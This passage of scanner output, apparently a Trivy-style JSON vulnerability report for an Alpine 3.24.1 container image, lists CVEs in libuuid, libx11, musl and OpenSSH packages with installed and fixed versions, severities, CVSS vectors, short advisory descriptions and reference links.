"https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libuuid@2.42-r0", "PkgName": "libuuid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libuuid@2.42-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b18737507af34cd6" }, "InstalledVersion": "2.42-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e5c2b6f840b4425ae812fa06672224f8e4f2fd1f1451f347413163ebaa9eaf47", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libuuid@2.42-r0", "PkgName": "libuuid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libuuid@2.42-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b18737507af34cd6" }, "InstalledVersion": "2.42-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:fc9ddf2916cc60c9609771f565ab52ac4dd405b738f1f89c98500009feacd031", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-88806", "PkgID": "libx11@1.8.13-r0", "PkgName": "libx11", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libx11@1.8.13-r0?arch=x86_64\u0026distro=3.24.1", "UID": "f1e6fa6303e0c19a" }, "InstalledVersion": "1.8.13-r0", "FixedVersion": "1.8.14-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-88806", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:2a0c1aec5a1b6563c4ddc67371cf8d3fc29af1a762ee0b3c35ee6332e7135271", "Title": "libX11: libX11: Heap-based buffer overflow via malicious X server", "Description": "A malicious X server could exploit a buffer overflow in libX11 before 1.8.14 during handling of XkbGetMap overflowing the key_sym_map.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:91365", "https://access.redhat.com/security/cve/CVE-2026-88806", "https://bugzilla.redhat.com/2538514", "https://bugzilla.redhat.com/show_bug.cgi?id=2538514", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88806", "https://errata.almalinux.org/9/ALSA-2026-91365.html", "https://errata.rockylinux.org/RLSA-2026:91365", "https://gitlab.freedesktop.org/xorg/lib/libx11/-/merge_requests/309", "https://linux.oracle.com/cve/CVE-2026-88806.html", "https://linux.oracle.com/errata/ELSA-2026-91366.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-88806", "https://ubuntu.com/security/notices/USN-8913-1", "https://www.cve.org/CVERecord?id=CVE-2026-88806" ], "PublishedDate": "2026-09-21T14:17:22.273Z", "LastModifiedDate": "2026-09-22T19:40:05.87Z" }, { "VulnerabilityID": "CVE-2026-107891", "PkgID": "musl@1.2.6-r2", "PkgName": "musl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/musl@1.2.6-r2?arch=x86_64\u0026distro=3.24.1", "UID": "1f8cb44befe503d4" }, "InstalledVersion": "1.2.6-r2", "FixedVersion": "1.2.6-r3", "Status": "fixed", "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-107891", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:833199c9e933287167a6217f34292b933b01be0a31ed1f1c4840ec2ecf3b7966", "Title": "musl: musl: Arbitrary code execution via integer overflow in regcomp", "Description": "musl libc before 1.2.7, when an untrusted regular expression is used with regcomp, has multiple integer overflows, possibly leading to incorrect allocation sizes and out-of-bounds heap writes.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/21/18", "https://access.redhat.com/security/cve/CVE-2026-107891", "https://git.musl-libc.org/cgit/musl/commit/?id=7813e9119eb5fe681b6750b8a033a0490bca0941", "https://musl.libc.org", "https://nvd.nist.gov/vuln/detail/CVE-2026-107891", "https://www.cve.org/CVERecord?id=CVE-2026-107891", "https://www.openwall.com/lists/musl/2026/10/21/1" ], "PublishedDate": "2026-11-05T16:17:32.15Z", "LastModifiedDate": "2026-11-05T17:17:35.287Z" }, { "VulnerabilityID": "CVE-2026-107891", "PkgID": "musl-utils@1.2.6-r2", "PkgName": "musl-utils", "PkgIdentifier": { "PURL": "pkg:apk/alpine/musl-utils@1.2.6-r2?arch=x86_64\u0026distro=3.24.1", "UID": "4497482ec1d943e1" }, "InstalledVersion": "1.2.6-r2", "FixedVersion": "1.2.6-r3", "Status": "fixed", "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-107891", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d69d301414dbf222979df87fa6bf6700403fb083cf3d4658dea6b869fc3814d5", "Title": "musl: musl: Arbitrary code execution via integer overflow in regcomp", "Description": "musl libc before 1.2.7, when an untrusted regular expression is used with regcomp, has multiple integer overflows, possibly leading to incorrect allocation sizes and out-of-bounds heap writes.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/21/18", "https://access.redhat.com/security/cve/CVE-2026-107891", "https://git.musl-libc.org/cgit/musl/commit/?id=7813e9119eb5fe681b6750b8a033a0490bca0941", "https://musl.libc.org", "https://nvd.nist.gov/vuln/detail/CVE-2026-107891", "https://www.cve.org/CVERecord?id=CVE-2026-107891", "https://www.openwall.com/lists/musl/2026/10/21/1" ], "PublishedDate": "2026-11-05T16:17:32.15Z", "LastModifiedDate": "2026-11-05T17:17:35.287Z" }, { "VulnerabilityID": "CVE-2026-60002", "PkgID": "openssh-client-common@10.3_p1-r0", "PkgName": "openssh-client-common", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-common@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a0d5a934ebf79cc4" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-60002", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:4cfe96c0b2c07f30ee4cff7d03b7faa4d1fe7790b8259920366fc5e4357e9e6f", "Title": "openssh: OpenSSH: Use-after-free vulnerability during host key re-exchange on the client side", "Description": "ssh in OpenSSH before 10.4 can have a use-after-free when a server changes its host key during a key re-exchange. (This outcome occurs only on the client side.)", "Severity": "CRITICAL", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "julia": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 9.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 9.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47756", "https://access.redhat.com/security/cve/CVE-2026-60002", "https://bugzilla.redhat.com/2462250", "https://bugzilla.redhat.com/2462351", "https://bugzilla.redhat.com/2462493", "https://bugzilla.redhat.com/2497936", "https://bugzilla.redhat.com/2497944", "https://bugzilla.redhat.com/show_bug.cgi?id=2462250", "https://bugzilla.redhat.com/show_bug.cgi?id=2462351", "https://bugzilla.redhat.com/show_bug.cgi?id=2462493", "https://bugzilla.redhat.com/show_bug.cgi?id=2497936", "https://bugzilla.redhat.com/show_bug.cgi?id=2497944", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55654", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55655", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59996", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60002", "https://errata.almalinux.org/9/ALSA-2026-47756.html", "https://errata.rockylinux.org/RLSA-2026:47756", "https://github.com/advisories/GHSA-gp5v-jg37-fvg6", "https://linux.oracle.com/cve/CVE-2026-60002.html", "https://linux.oracle.com/errata/ELSA-2026-47757.html", "https://marc.info/?l=openssh-unix-dev\u0026m=178333966933090\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2026-60002", "https://ubuntu.com/security/notices/USN-8533-1", "https://www.cve.org/CVERecord?id=CVE-2026-60002", "https://www.openssh.org/releasenotes.html#10.4p1", "https://www.openwall.com/lists/oss-security/2026/07/06/5" ], "PublishedDate": "2026-07-08T01:16:29.43Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh-client-common@10.3_p1-r0", "PkgName": "openssh-client-common", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-common@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a0d5a934ebf79cc4" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r2", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:60fa6420c17517c868de12c6c1bdc9d21f9b07b6cc3e5439019509c7d6de5265", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-59999", "PkgID": "openssh-client-common@10.3_p1-r0", "PkgName": "openssh-client-common", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-common@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a0d5a934ebf79cc4" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59999", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:73e2b18ac37da614d52fe23ac762e62ba77c82953591e418200076bf8341c1ff", "Title": "openssh: OpenSSH sshd: Security bypass due to incorrect handling of forwarding and tunneling options", "Description": "In sshd in OpenSSH before 10.4, DisableForwarding=yes was supposed to take precedence over PermitTunnel=yes, but did not.", "Severity": "HIGH", "CweIDs": [ "CWE-348" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69130", "https://access.redhat.com/security/cve/CVE-2026-59999", "https://bugzilla.redhat.com/2497927", "https://bugzilla.redhat.com/2497942", "https://bugzilla.redhat.com/2514321", "https://bugzilla.redhat.com/2514327", "https://bugzilla.redhat.com/2514328", "https://bugzilla.redhat.com/show_bug.cgi?id=2497927", "https://bugzilla.redhat.com/show_bug.cgi?id=2497942", "https://bugzilla.redhat.com/show_bug.cgi?id=2514321", "https://bugzilla.redhat.com/show_bug.cgi?id=2514327", "https://bugzilla.redhat.com/show_bug.cgi?id=2514328", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59995", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-73281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-73282", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-73283", "https://errata.almalinux.org/9/ALSA-2026-69130.html", "https://errata.rockylinux.org/RLSA-2026:69130", "https://github.com/advisories/GHSA-gcm2-x6hm-q4h3", "https://linux.oracle.com/cve/CVE-2026-59999.html", "https://linux.oracle.com/errata/ELSA-2026-69266.html", "https://marc.info/?l=openssh-unix-dev\u0026m=178333966933090\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2026-59999", "https://ubuntu.com/security/notices/USN-8533-1", "https://ubuntu.com/security/notices/USN-8804-1", "https://www.cve.org/CVERecord?id=CVE-2026-59999", "https://www.openssh.org/releasenotes.html#10.4p1", "https://www.openwall.com/lists/oss-security/2026/07/06/5" ], "PublishedDate": "2026-07-08T01:16:29.01Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-60000", "PkgID": "openssh-client-common@10.3_p1-r0", "PkgName": "openssh-client-common", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-common@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a0d5a934ebf79cc4" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-60000", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:cd2895bda646b9e6d9a812bf3249dd7e177aea59da7b2599129adcb354f061fe", "Title": "openssh: OpenSSH: Denial of Service via excessive GSSAPI authentication attempts", "Description": "sshd in OpenSSH before 10.4 allows remote attackers to cause a denial of service (resource consumption from excessive authentication attempts) because MaxAuthTries was mishandled for GSSAPIAuthentication.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 1, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85958", "https://access.redhat.com/security/cve/CVE-2026-60000", "https://bugzilla.redhat.com/2497929", "https://bugzilla.redhat.com/2497935", "https://bugzilla.redhat.com/2497946", "https://bugzilla.redhat.com/show_bug.cgi?id=2497929", "https://bugzilla.redhat.com/show_bug.cgi?id=2497935", "https://bugzilla.redhat.com/show_bug.cgi?id=2497946", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59997", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59998", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60000", "https://errata.almalinux.org/9/ALSA-2026-85958.html", "https://errata.rockylinux.org/RLSA-2026:85958", "https://github.com/advisories/GHSA-76jm-35gr-hwcm", "https://linux.oracle.com/cve/CVE-2026-60000.html", "https://linux.oracle.com/errata/ELSA-2026-88211.html", "https://marc.info/?l=openssh-unix-dev\u0026m=178333966933090\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2026-60000", "https://ubuntu.com/security/notices/USN-8533-1", "https://ubuntu.com/security/notices/USN-8804-1", "https://www.cve.org/CVERecord?id=CVE-2026-60000", "https://www.openssh.org/releasenotes.html#10.4p1", "https://www.openwall.com/lists/oss-security/2026/07/06/5" ], "PublishedDate": "2026-07-08T01:16:29.153Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-60002", "PkgID": "openssh-client-default@10.3_p1-r0", "PkgName": "openssh-client-default", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-default@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "edad7dffbb08705e" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-60002", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:0b5e6c0ddf15ade2f19a825eaf287962d876c50e382a861ce5da531cf8e26c74", "Title": "openssh: OpenSSH: Use-after-free vulnerability during host key re-exchange on the client side", "Description": "ssh in OpenSSH before 10.4 can have a use-after-free when a server changes its host key during a key re-exchange. (This outcome occurs only on the client side.)", "Severity": "CRITICAL", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "julia": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 9.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 9.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47756", "https://access.redhat.com/security/cve/CVE-2026-60002", "https://bugzilla.redhat.com/2462250", "https://bugzilla.redhat.com/2462351", "https://bugzilla.redhat.com/2462493", "https://bugzilla.redhat.com/2497936", "https://bugzilla.redhat.com/2497944", "https://bugzilla.redhat.com/show_bug.cgi?id=2462250", "https://bugzilla.redhat.com/show_bug.cgi?id=2462351", "https://bugzilla.redhat.com/show_bug.cgi?id=2462493", "https://bugzilla.redhat.com/show_bug.cgi?id=2497936", "https://bugzilla.redhat.com/show_bug.cgi?id=2497944", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55654", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55655", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59996", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60002", "https://errata.almalinux.org/9/ALSA-2026-47756.html", "https://errata.rockylinux.org/RLSA-2026:47756", "https://github.com/advisories/GHSA-gp5v-jg37-fvg6", "https://linux.oracle.com/cve/CVE-2026-60002.html", "https://linux.oracle.com/errata/ELSA-2026-47757.html", "https://marc.info/?l=openssh-unix-dev\u0026m=178333966933090\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2026-60002", "https://ubuntu.com/security/notices/USN-8533-1", "https://www.cve.org/CVERecord?id=CVE-2026-60002", "https://www.openssh.org/releasenotes.html#10.4p1", "https://www.openwall.com/lists/oss-security/2026/07/06/5" ], "PublishedDate": "2026-07-08T01:16:29.43Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh-client-default@10.3_p1-r0", "PkgName": "openssh-client-default", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-default@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "edad7dffbb08705e" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r2", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", 